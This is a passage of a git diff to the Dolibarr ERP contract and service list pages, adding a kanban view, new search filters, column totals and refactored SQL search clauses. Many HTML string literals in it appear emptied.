- if (!$i) { - $totalarray['nbfield']++; - } - } - // Country - if (!empty($arrayfields['country.code_iso']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Type ent - if (!empty($arrayfields['typent.code']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['sale_representative']['checked'])) { - // Sales representatives - print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; } - //else print $langs->trans("NoSalesRepresentativeAffected"); - } else { - print ' '; } - print ''; - } - // Date - if (!empty($arrayfields['c.date_contrat']['checked'])) { - print ''; - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Date creation - if (!empty($arrayfields['c.datec']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date modification - if (!empty($arrayfields['c.tms']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date lower end date - if (!empty($arrayfields['lower_planned_end_date']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Status - if (!empty($arrayfields['status']['checked'])) { - print ''; - print ''; - print ''; - print ''; - } - // Action column - print ''; - if (!$i) { - $totalarray['nbfield']++; - } + // Ref + if (!empty($arrayfields['c.ref']['checked'])) { + print '\n"; + $filename = dol_sanitizeFileName($obj->ref); + $filedir = $conf->contrat->multidir_output[$obj->entity].'/'.dol_sanitizeFileName($obj->ref); + $urlsource = $_SERVER['PHP_SELF'].'?id='.$obj->rowid; + print $formfile->getDocumentsLink($contracttmp->element, $filename, $filedir); + print ''; + + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Ref thirdparty + if (!empty($arrayfields['c.ref_customer']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields['c.ref_supplier']['checked'])) { + print ''; + } + if (!empty($arrayfields['s.nom']['checked'])) { + print ''; + } + // Email + if (!empty($arrayfields['s.email']['checked'])) { + print ''; + } + // Town + if (!empty($arrayfields['s.town']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Zip + if (!empty($arrayfields['s.zip']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // State + if (!empty($arrayfields['state.nom']['checked'])) { + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Country + if (!empty($arrayfields['country.code_iso']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Type ent + if (!empty($arrayfields['typent.code']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields['sale_representative']['checked'])) { + // Sales representatives + print ''; + } + // Date + if (!empty($arrayfields['c.date_contrat']['checked'])) { + print ''; + } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Date creation + if (!empty($arrayfields['c.datec']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Date modification + if (!empty($arrayfields['c.tms']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Date lower end date + if (!empty($arrayfields['lower_planned_end_date']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Status + if (!empty($arrayfields['status']['checked'])) { + print ''; + print ''; + print ''; + print ''; + if (!$i) { + $totalarray['nbfield']++; + $totalarray['nbfield']++; + $totalarray['nbfield']++; + $totalarray['nbfield']++; + } + } + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print ''."\n"; + } $i++; } @@ -1036,10 +1240,10 @@ $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; -print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; print ''; @@ -723,80 +842,122 @@ if (!empty($arrayfields['lower_planned_end_date']['checked'])) { if (!empty($arrayfields['status']['checked'])) { print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print '
      '; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; - print $contracttmp->getNomUrl(1); - if ($obj->nb_late) { - print img_warning($langs->trans("Late")); + if ($mode == 'kanban') { + if ($i == 0) { + print '
      '; + print '
      '; } - if (!empty($obj->note_private) || !empty($obj->note_public)) { - print ' '; - print ''.img_picto($langs->trans("ViewPrivateNote"), 'note').''; - print ''; + // Output Kanban + $contracttmp->societe = $socstatic->getNomUrl(); + $contracttmp->date_contrat = $obj->date_contrat; + print $contracttmp->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '.$contracttmp->getFormatedCustomerRef($obj->ref_customer).''.dol_escape_htmltag($obj->ref_supplier).''; - if ($obj->socid > 0) { - // TODO Use a cache for this string - print $socstatic->getNomUrl(1, ''); - } - print ''.dol_print_email($obj->email, 0, $obj->socid, 0, 0, 1, 1).''; - print $obj->town; - print ''; - print $obj->zip; - print '".$obj->state_name."'; - print dol_escape_htmltag($socstatic->country); - print ''; - if (count($typenArray) == 0) { - $typenArray = $formcompany->typent_array(1); - } - print $typenArray[$obj->typent_code]; - print ''; - if ($obj->socid > 0) { - $listsalesrepresentatives = $socstatic->getSalesRepresentatives($user); - if ($listsalesrepresentatives < 0) { - dol_print_error($db); - } - $nbofsalesrepresentative = count($listsalesrepresentatives); - if ($nbofsalesrepresentative > 6) { - // We print only number - print $nbofsalesrepresentative; - } elseif ($nbofsalesrepresentative > 0) { - $userstatic = new User($db); - $j = 0; - foreach ($listsalesrepresentatives as $val) { - $userstatic->id = $val['id']; - $userstatic->lastname = $val['lastname']; - $userstatic->firstname = $val['firstname']; - $userstatic->email = $val['email']; - $userstatic->statut = $val['statut']; - $userstatic->entity = $val['entity']; - $userstatic->photo = $val['photo']; - $userstatic->login = $val['login']; - $userstatic->phone = $val['phone']; - $userstatic->job = $val['job']; - $userstatic->gender = $val['gender']; - - //print '
      ': - print ($nbofsalesrepresentative < 2) ? $userstatic->getNomUrl(-1, '', 0, 0, 12) : $userstatic->getNomUrl(-2); - $j++; - if ($j < $nbofsalesrepresentative) { - print ' '; - } - //print '
      '; + } else { + // Show here line of result + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; } + print ''; + } + print ''.dol_print_date($db->jdate($obj->date_contrat), 'day', 'tzserver').''; - print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); - print ''; - print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); - print ''; - print dol_print_date($db->jdate($obj->lower_planned_end_date), 'day', 'tzuser'); - print ''.($obj->nb_initial > 0 ? $obj->nb_initial : '').''.($obj->nb_running > 0 ? $obj->nb_running : '').''.($obj->nb_expired > 0 ? $obj->nb_expired : '').''.($obj->nb_closed > 0 ? $obj->nb_closed : '').''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print ''; + print $contracttmp->getNomUrl(1); + if ($obj->nb_late) { + print img_warning($langs->trans("Late")); + } + if (!empty($obj->note_private) || !empty($obj->note_public)) { + print ' '; + print ''.img_picto($langs->trans("ViewPrivateNote"), 'note').''; + print ''; + } - print "
      '.$contracttmp->getFormatedCustomerRef($obj->ref_customer).''.dol_escape_htmltag($obj->ref_supplier).''; + if ($obj->socid > 0) { + // TODO Use a cache for this string + print $socstatic->getNomUrl(1, ''); + } + print ''.dol_print_email($obj->email, 0, $obj->socid, 0, 0, 1, 1).''; + print $obj->town; + print ''; + print $obj->zip; + print '".$obj->state_name."'; + print dol_escape_htmltag($socstatic->country); + print ''; + if (count($typenArray) == 0) { + $typenArray = $formcompany->typent_array(1); + } + print $typenArray[$obj->typent_code]; + print ''; + if ($obj->socid > 0) { + $listsalesrepresentatives = $socstatic->getSalesRepresentatives($user); + if ($listsalesrepresentatives < 0) { + dol_print_error($db); + } + $nbofsalesrepresentative = count($listsalesrepresentatives); + if ($nbofsalesrepresentative > 6) { + // We print only number + print $nbofsalesrepresentative; + } elseif ($nbofsalesrepresentative > 0) { + $userstatic = new User($db); + $j = 0; + foreach ($listsalesrepresentatives as $val) { + $userstatic->id = $val['id']; + $userstatic->lastname = $val['lastname']; + $userstatic->firstname = $val['firstname']; + $userstatic->email = $val['email']; + $userstatic->statut = $val['statut']; + $userstatic->entity = $val['entity']; + $userstatic->photo = $val['photo']; + $userstatic->login = $val['login']; + $userstatic->phone = $val['phone']; + $userstatic->job = $val['job']; + $userstatic->gender = $val['gender']; + + //print '
      ': + print ($nbofsalesrepresentative < 2) ? $userstatic->getNomUrl(-1, '', 0, 0, 12) : $userstatic->getNomUrl(-2); + $j++; + if ($j < $nbofsalesrepresentative) { + print ' '; + } + //print '
      '; + } + } + //else print $langs->trans("NoSalesRepresentativeAffected"); + } else { + print ' '; + } + print '
      '.dol_print_date($db->jdate($obj->date_contrat), 'day', 'tzserver').''; + print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); + print ''; + print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); + print ''; + print dol_print_date($db->jdate($obj->lower_planned_end_date), 'day', 'tzuser'); + print ''.($obj->nb_initial > 0 ? $obj->nb_initial : '').''.($obj->nb_running > 0 ? $obj->nb_running : '').''.($obj->nb_expired > 0 ? $obj->nb_expired : '').''.($obj->nb_closed > 0 ? $obj->nb_closed : '').''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '; -print '
      '; +print '
      '."\n"; +print '
      '."\n"; -print ''; +print ''."\n"; $hidegeneratedfilelistifempty = 1; if ($massaction == 'builddoc' || $action == 'remove_file' || $show_files) { @@ -1051,8 +1255,8 @@ $urlsource = $_SERVER['PHP_SELF'].'?sortfield='.$sortfield.'&sortorder='.$sortor $urlsource .= str_replace('&', '&', $param); $filedir = $diroutputmassaction; -$genallowed = $user->rights->contrat->lire; -$delallowed = $user->rights->contrat->lire; +$genallowed = $permissiontoread; +$delallowed = $permissiontoadd; print $formfile->showdocuments('massfilesarea_contract', '', $filedir, $urlsource, 0, $delallowed, '', 1, 1, 0, 48, 1, $param, $title, '', '', '', null, $hidegeneratedfilelistifempty); diff --git a/htdocs/contrat/note.php b/htdocs/contrat/note.php index f17cc11f748..576d3ce5fe2 100644 --- a/htdocs/contrat/note.php +++ b/htdocs/contrat/note.php @@ -121,7 +121,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify') { $morehtmlref .= '
      '.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/contrat/services_list.php b/htdocs/contrat/services_list.php index cfc888e229a..47818081448 100644 --- a/htdocs/contrat/services_list.php +++ b/htdocs/contrat/services_list.php @@ -36,6 +36,7 @@ require_once DOL_DOCUMENT_ROOT."/societe/class/societe.class.php"; $langs->loadLangs(array('products', 'contracts', 'companies')); $optioncss = GETPOST('optioncss', 'aZ09'); +$mode = GETPOST("mode"); $massaction = GETPOST('massaction', 'alpha'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -55,9 +56,13 @@ if (!$sortorder) { $sortorder = "ASC"; } -$mode = GETPOST("mode"); -$filter = GETPOST("filter"); +$filter = GETPOST("filter", 'alpha'); $search_name = GETPOST("search_name", 'alpha'); +$search_subprice = GETPOST("search_subprice", 'alpha'); +$search_qty = GETPOST("search_qty", 'alpha'); +$search_total_ht = GETPOST("search_total_ht", 'alpha'); +$search_total_tva = GETPOST("search_total_tva", 'alpha'); +$search_total_ttc = GETPOST("search_total_ttc", 'alpha'); $search_contract = GETPOST("search_contract", 'alpha'); $search_service = GETPOST("search_service", 'alpha'); $search_status = GETPOST("search_status", 'alpha'); @@ -105,7 +110,6 @@ $result = restrictedArea($user, 'contrat', $contratid); if ($search_status != '') { $tmp = explode('&', $search_status); - $mode = $tmp[0]; if (empty($tmp[1])) { $filter = ''; } else { @@ -116,14 +120,6 @@ if ($search_status != '') { $filter = 'expired'; } } -} else { - $search_status = $mode; - if ($filter == 'expired') { - $search_status .= '&filter=expired'; - } - if ($filter == 'notexpired') { - $search_status .= '&filter=notexpired'; - } } $staticcontrat = new Contrat($db); @@ -136,13 +132,13 @@ $arrayfields = array( 's.nom'=>array('label'=>"ThirdParty", 'checked'=>1, 'position'=>90), 'cd.tva_tx'=>array('label'=>"VATRate", 'checked'=>-1, 'position'=>100), 'cd.subprice'=>array('label'=>"PriceUHT", 'checked'=>-1, 'position'=>105), - 'cd.qty'=>array('label'=>"Qty", 'checked'=>-1, 'position'=>108), - 'cd.total_ht'=>array('label'=>"TotalHT", 'checked'=>-1, 'position'=>109), + 'cd.qty'=>array('label'=>"Qty", 'checked'=>1, 'position'=>108), + 'cd.total_ht'=>array('label'=>"TotalHT", 'checked'=>-1, 'position'=>109, 'isameasure'=>1), 'cd.total_tva'=>array('label'=>"TotalVAT", 'checked'=>-1, 'position'=>110), - 'cd.date_ouverture_prevue'=>array('label'=>"DateStartPlannedShort", 'checked'=>(($mode == "" || $mode == -1) || $mode == "0"), 'position'=>150), - 'cd.date_ouverture'=>array('label'=>"DateStartRealShort", 'checked'=>(($mode == "" || $mode == -1) || $mode > 0), 'position'=>160), - 'cd.date_fin_validite'=>array('label'=>"DateEndPlannedShort", 'checked'=>(($mode == "" || $mode == -1) || $mode < 5), 'position'=>170), - 'cd.date_cloture'=>array('label'=>"DateEndRealShort", 'checked'=>(($mode == "" || $mode == -1) || $mode >= 5), 'position'=>180), + 'cd.date_ouverture_prevue'=>array('label'=>"DateStartPlannedShort", 'checked'=>1, 'position'=>150), + 'cd.date_ouverture'=>array('label'=>"DateStartRealShort", 'checked'=>1, 'position'=>160), + 'cd.date_fin_validite'=>array('label'=>"DateEndPlannedShort", 'checked'=>1, 'position'=>170), + 'cd.date_cloture'=>array('label'=>"DateEndRealShort", 'checked'=>1, 'position'=>180), //'cd.datec'=>array('label'=>$langs->trans("DateCreation"), 'checked'=>0, 'position'=>500), 'cd.tms'=>array('label'=>"DateModificationShort", 'checked'=>0, 'position'=>500), 'status'=>array('label'=>"Status", 'checked'=>1, 'position'=>1000) @@ -180,6 +176,11 @@ if (empty($reshook)) { if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All test are required to be compatible with all browsers $search_product_category = 0; $search_name = ""; + $search_subprice = ""; + $search_qty = ""; + $search_total_ht = ""; + $search_total_tva = ""; + $search_total_ttc = ""; $search_contract = ""; $search_service = ""; $search_status = -1; @@ -199,7 +200,6 @@ if (empty($reshook)) { $opclotureday = ""; $opclotureyear = ""; $filter_opcloture = ""; - $mode = ''; $filter = ''; $toselect = array(); $search_array_options = array(); @@ -217,7 +217,7 @@ $form = new Form($db); $sql = "SELECT c.rowid as cid, c.ref, c.statut as cstatut, c.ref_customer, c.ref_supplier,"; $sql .= " s.rowid as socid, s.nom as name, s.email, s.client, s.fournisseur,"; -$sql .= " cd.rowid, cd.description, cd.statut,"; +$sql .= " cd.rowid, cd.description, cd.statut, cd.product_type as type,"; $sql .= " p.rowid as pid, p.ref as pref, p.label as label, p.fk_product_type as ptype, p.tobuy, p.tosell, p.barcode, p.entity as pentity,"; if (empty($user->rights->societe->client->voir) && !$socid) { $sql .= " sc.fk_soc, sc.fk_user,"; @@ -256,7 +256,7 @@ $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."product as p ON cd.fk_product = p.rowid"; if ($search_product_category > 0) { $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'categorie_product as cp ON cp.fk_product=cd.fk_product'; } -$sql .= " WHERE c.entity = ".$conf->entity; +$sql .= " WHERE c.entity IN (".getEntity($object->element).")"; $sql .= " AND c.rowid = cd.fk_contrat"; if ($search_product_category > 0) { $sql .= " AND cp.fk_categorie = ".((int) $search_product_category); @@ -265,13 +265,13 @@ $sql .= " AND c.fk_soc = s.rowid"; if (empty($user->rights->societe->client->voir) && !$socid) { $sql .= " AND s.rowid = sc.fk_soc AND sc.fk_user = ".((int) $user->id); } -if ($mode == "0") { +if ($search_status == "0") { $sql .= " AND cd.statut = 0"; } -if ($mode == "4") { +if ($search_status == "4") { $sql .= " AND cd.statut = 4"; } -if ($mode == "5") { +if ($search_status == "5") { $sql .= " AND cd.statut = 5"; } if ($filter == "expired") { @@ -280,14 +280,29 @@ if ($filter == "expired") { if ($filter == "notexpired") { $sql .= " AND cd.date_fin_validite >= '".$db->idate($now)."'"; } +if ($search_subprice) { + $sql .= natural_search("cd.subprice", $search_subprice, 1); +} +if ($search_qty) { + $sql .= natural_search("cd.qty", $search_qty, 1); +} +if ($search_total_ht) { + $sql .= natural_search("cd.total_ht", $search_total_ht, 1); +} +if ($search_total_tva) { + $sql .= natural_search("cd.total_tva", $search_total_tva, 1); +} +if ($search_total_ttc) { + $sql .= natural_search("cd.total_ttc", $search_total_ttc, 1); +} if ($search_name) { - $sql .= " AND s.nom LIKE '%".$db->escape($search_name)."%'"; + $sql .= natural_search("s.nom", $search_name); } if ($search_contract) { - $sql .= " AND c.ref LIKE '%".$db->escape($search_contract)."%' "; + $sql .= natural_search("c.ref", $search_contract); } if ($search_service) { - $sql .= " AND (p.ref LIKE '%".$db->escape($search_service)."%' OR p.description LIKE '%".$db->escape($search_service)."%' OR cd.description LIKE '%".$db->escape($search_service)."%')"; + $sql .= natural_search(array("p.ref", "p.description", "cd.description"), $search_service); } if ($socid > 0) { $sql .= " AND s.rowid = ".((int) $socid); @@ -392,17 +407,35 @@ if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.$limit; } +if ($mode) { + $param .= '&mode='.urlencode($mode); +} if ($search_contract) { $param .= '&search_contract='.urlencode($search_contract); } if ($search_name) { $param .= '&search_name='.urlencode($search_name); } +if ($search_subprice) { + $param .= '&search_subprice='.urlencode($search_subprice); +} +if ($search_qty) { + $param .= '&search_qty='.urlencode($search_qty); +} +if ($search_total_ht) { + $param .= '&search_total_ht='.urlencode($search_total_ht); +} +if ($search_total_tva) { + $param .= '&search_total_tva='.urlencode($search_total_tva); +} +if ($search_total_ttc) { + $param .= '&search_total_ttc='.urlencode($search_total_ttc); +} if ($search_service) { $param .= '&search_service='.urlencode($search_service); } -if ($mode) { - $param .= '&mode='.urlencode($mode); +if ($search_status) { + $param .= '&search_status='.urlencode($search_status); } if ($filter) { $param .= '&filter='.urlencode($filter); @@ -460,16 +493,16 @@ print ''; print ''; $title = $langs->trans("ListOfServices"); -if ($mode == "0") { +if ($search_status == "0") { $title = $langs->trans("ListOfInactiveServices"); // Must use == "0" } -if ($mode == "4" && $filter != "expired") { +if ($search_status == "4" && $filter != "expired") { $title = $langs->trans("ListOfRunningServices"); } -if ($mode == "4" && $filter == "expired") { +if ($search_status == "4" && $filter == "expired") { $title = $langs->trans("ListOfExpiredServices"); } -if ($mode == "5") { +if ($search_status == "5") { $title = $langs->trans("ListOfClosedServices"); } @@ -517,67 +550,13 @@ $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfi print '
      '; print ''."\n"; -print ''; -if (!empty($arrayfields['c.ref']['checked'])) { - print_liste_field_titre($arrayfields['c.ref']['label'], $_SERVER["PHP_SELF"], "c.ref", "", $param, "", $sortfield, $sortorder); -} -if (!empty($arrayfields['p.description']['checked'])) { - print_liste_field_titre($arrayfields['p.description']['label'], $_SERVER["PHP_SELF"], "p.description", "", $param, "", $sortfield, $sortorder); -} -if (!empty($arrayfields['cd.tva_tx']['checked'])) { - print_liste_field_titre($arrayfields['cd.tva_tx']['label'], $_SERVER["PHP_SELF"], "cd.tva_tx", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['cd.subprice']['checked'])) { - print_liste_field_titre($arrayfields['cd.subprice']['label'], $_SERVER["PHP_SELF"], "cd.subprice", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['cd.qty']['checked'])) { - print_liste_field_titre($arrayfields['cd.qty']['label'], $_SERVER["PHP_SELF"], "cd.qty", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['cd.total_ht']['checked'])) { - print_liste_field_titre($arrayfields['cd.total_ht']['label'], $_SERVER["PHP_SELF"], "cd.total_ht", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['cd.total_tva']['checked'])) { - print_liste_field_titre($arrayfields['cd.total_tva']['label'], $_SERVER["PHP_SELF"], "cd.total_tva", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['s.nom']['checked'])) { - print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER["PHP_SELF"], "s.nom", "", $param, "", $sortfield, $sortorder); -} -if (!empty($arrayfields['cd.date_ouverture_prevue']['checked'])) { - print_liste_field_titre($arrayfields['cd.date_ouverture_prevue']['label'], $_SERVER["PHP_SELF"], "cd.date_ouverture_prevue", "", $param, '', $sortfield, $sortorder, 'center '); -} -if (!empty($arrayfields['cd.date_ouverture']['checked'])) { - print_liste_field_titre($arrayfields['cd.date_ouverture']['label'], $_SERVER["PHP_SELF"], "cd.date_ouverture", "", $param, '', $sortfield, $sortorder, 'center '); -} -if (!empty($arrayfields['cd.date_fin_validite']['checked'])) { - print_liste_field_titre($arrayfields['cd.date_fin_validite']['label'], $_SERVER["PHP_SELF"], "cd.date_fin_validite", "", $param, '', $sortfield, $sortorder, 'center '); -} -if (!empty($arrayfields['cd.date_cloture']['checked'])) { - print_liste_field_titre($arrayfields['cd.date_cloture']['label'], $_SERVER["PHP_SELF"], "cd.date_cloture", "", $param, '', $sortfield, $sortorder, 'center '); -} -// Extra fields -include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; -// Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook -print $hookmanager->resPrint; -if (!empty($arrayfields['cd.datec']['checked'])) { - print_liste_field_titre($arrayfields['cd.datec']['label'], $_SERVER["PHP_SELF"], "cd.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['cd.tms']['checked'])) { - print_liste_field_titre($arrayfields['cd.tms']['label'], $_SERVER["PHP_SELF"], "cd.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); -} -if (!empty($arrayfields['status']['checked'])) { - print_liste_field_titre($arrayfields['status']['label'], $_SERVER["PHP_SELF"], "cd.statut,c.statut", "", $param, '', $sortfield, $sortorder, 'right '); -} -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); -print "\n"; print ''; if (!empty($arrayfields['c.ref']['checked'])) { print ''; } // Service label @@ -592,19 +571,23 @@ if (!empty($arrayfields['cd.tva_tx']['checked'])) { print ''; } if (!empty($arrayfields['cd.subprice']['checked'])) { - print ''; } if (!empty($arrayfields['cd.qty']['checked'])) { - print ''; } if (!empty($arrayfields['cd.total_ht']['checked'])) { - print ''; } if (!empty($arrayfields['cd.total_tva']['checked'])) { - print ''; } // Third party @@ -614,7 +597,6 @@ if (!empty($arrayfields['s.nom']['checked'])) { print ''; } - if (!empty($arrayfields['cd.date_ouverture_prevue']['checked'])) { print ''; } // Action column @@ -688,11 +670,67 @@ print $searchpicto; print ''; print "\n"; +print ''; +if (!empty($arrayfields['c.ref']['checked'])) { + print_liste_field_titre($arrayfields['c.ref']['label'], $_SERVER["PHP_SELF"], "c.ref", "", $param, "", $sortfield, $sortorder); +} +if (!empty($arrayfields['p.description']['checked'])) { + print_liste_field_titre($arrayfields['p.description']['label'], $_SERVER["PHP_SELF"], "p.description", "", $param, "", $sortfield, $sortorder); +} +if (!empty($arrayfields['cd.tva_tx']['checked'])) { + print_liste_field_titre($arrayfields['cd.tva_tx']['label'], $_SERVER["PHP_SELF"], "cd.tva_tx", "", $param, '', $sortfield, $sortorder, 'center nowrap '); +} +if (!empty($arrayfields['cd.subprice']['checked'])) { + print_liste_field_titre($arrayfields['cd.subprice']['label'], $_SERVER["PHP_SELF"], "cd.subprice", "", $param, '', $sortfield, $sortorder, 'center nowrap '); +} +if (!empty($arrayfields['cd.qty']['checked'])) { + print_liste_field_titre($arrayfields['cd.qty']['label'], $_SERVER["PHP_SELF"], "cd.qty", "", $param, '', $sortfield, $sortorder, 'right nowrap '); +} +if (!empty($arrayfields['cd.total_ht']['checked'])) { + print_liste_field_titre($arrayfields['cd.total_ht']['label'], $_SERVER["PHP_SELF"], "cd.total_ht", "", $param, '', $sortfield, $sortorder, 'right nowrap '); +} +if (!empty($arrayfields['cd.total_tva']['checked'])) { + print_liste_field_titre($arrayfields['cd.total_tva']['label'], $_SERVER["PHP_SELF"], "cd.total_tva", "", $param, '', $sortfield, $sortorder, 'right nowrap '); +} +if (!empty($arrayfields['s.nom']['checked'])) { + print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER["PHP_SELF"], "s.nom", "", $param, "", $sortfield, $sortorder); +} +if (!empty($arrayfields['cd.date_ouverture_prevue']['checked'])) { + print_liste_field_titre($arrayfields['cd.date_ouverture_prevue']['label'], $_SERVER["PHP_SELF"], "cd.date_ouverture_prevue", "", $param, '', $sortfield, $sortorder, 'center '); +} +if (!empty($arrayfields['cd.date_ouverture']['checked'])) { + print_liste_field_titre($arrayfields['cd.date_ouverture']['label'], $_SERVER["PHP_SELF"], "cd.date_ouverture", "", $param, '', $sortfield, $sortorder, 'center '); +} +if (!empty($arrayfields['cd.date_fin_validite']['checked'])) { + print_liste_field_titre($arrayfields['cd.date_fin_validite']['label'], $_SERVER["PHP_SELF"], "cd.date_fin_validite", "", $param, '', $sortfield, $sortorder, 'center '); +} +if (!empty($arrayfields['cd.date_cloture']['checked'])) { + print_liste_field_titre($arrayfields['cd.date_cloture']['label'], $_SERVER["PHP_SELF"], "cd.date_cloture", "", $param, '', $sortfield, $sortorder, 'center '); +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; +// Hook fields +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +if (!empty($arrayfields['cd.datec']['checked'])) { + print_liste_field_titre($arrayfields['cd.datec']['label'], $_SERVER["PHP_SELF"], "cd.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); +} +if (!empty($arrayfields['cd.tms']['checked'])) { + print_liste_field_titre($arrayfields['cd.tms']['label'], $_SERVER["PHP_SELF"], "cd.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); +} +if (!empty($arrayfields['status']['checked'])) { + print_liste_field_titre($arrayfields['status']['label'], $_SERVER["PHP_SELF"], "cd.statut,c.statut", "", $param, '', $sortfield, $sortorder, 'right '); +} +print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +print "\n"; + + $contractstatic = new Contrat($db); $productstatic = new Product($db); $i = 0; -$totalarray = array(); +$totalarray = array('nbfield'=>0, 'cd.qty'=>0, 'cd.total_ht'=>0, 'cd.total_tva'=>0); while ($i < min($num, $limit)) { $obj = $db->fetch_object($resql); @@ -774,6 +812,13 @@ while ($i < min($num, $limit)) { if (!$i) { $totalarray['nbfield']++; } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'cd.qty'; + } + if (!$i) { + $totalarray['val']['cd.qty'] = $obj->qty; + } + $totalarray['val']['cd.qty'] += $obj->qty; } if (!empty($arrayfields['cd.total_ht']['checked'])) { print ''; +} + $db->free($resql); $parameters = array('sql' => $sql); diff --git a/htdocs/core/actions_addupdatedelete.inc.php b/htdocs/core/actions_addupdatedelete.inc.php index 49f3b2fa302..71901f8db44 100644 --- 